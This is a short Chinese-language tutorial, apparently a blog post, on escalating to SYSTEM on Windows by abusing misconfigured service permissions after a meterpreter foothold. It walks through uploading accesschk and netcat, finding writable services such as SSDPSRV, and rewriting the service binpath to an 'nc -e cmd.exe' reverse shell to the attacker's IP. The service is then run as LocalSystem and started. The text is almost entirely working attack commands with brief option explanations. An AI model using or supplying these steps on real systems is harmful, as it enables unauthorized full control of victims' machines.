利用不正确文件和服务的权限设置
需要用到的工具:
1、icacls(适用于win7及以上系统)/cacls (适用于winxp及win2000系统) – 系统默认工具,用于检查某个具体的文件夹或者文件的权限配置信息
2、accesschk (sysinternals工具集之一) – 用于检查一个具体的用户或者组对于文件,目录,注册表,全局对象以及windows服务的权限信息
前提:已经获得meterpreter
首先利用meterpreter上传工具
meterpreter > upload accesschk_xp.exe c:\\xxx\\accesschk_xp.exe
meterpreter > upload nc.exe c:\\xxx\\nc.exe
执行accesschk来检查当前用户xx具有写权限的windows服务,因为这些服务配置了过高的权限将有利于我们来实现提权操作。
C:\xx>accesschk_xp.exe /accepteula -uwcqv 用户名 * > ack.txt

找到了2个满足条件的windows服务,分别是SSDPSRV和upnphost。任意选择一个服务检查一下,如:SSDPSRV
C:\xx>accesschk_xp.exe /accepteula -ucqv SSDPSRV

可以发现这个服务可以使用NT AUTHORITY\SYSTEM权限来启动我们指定的二进制文件,也就是说我们可以以SYSTEM权限来反弹一个shell继而完成提权操作,具体操作命令如下:
C:\xx>sc qc SSDPSRV
SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC 是用于与服务控制管理器和服务进行通信的命令行程序。
sc qc 服务名——查看一个服务的配置信息
C:\xx>sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"
sc config——修改注册表和“服务控制管理器”数据库中服务项目的值。
binpath= BinaryPathName——指定指向服务二进制文件的路径。
C:\xx>sc config SSDPSRV obj= ".\LocalSystem" password= ""
obj= {AccountName | ObjectName}
指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。
C:\xx>sc config SSDPSRV start= "demand"
start= "demand"——指定是必须手动启动的服务
C:\xx>net start SSDPSRV
攻击机监听端口,若开启服务,则获得LocalSystem
权限的shell
网友评论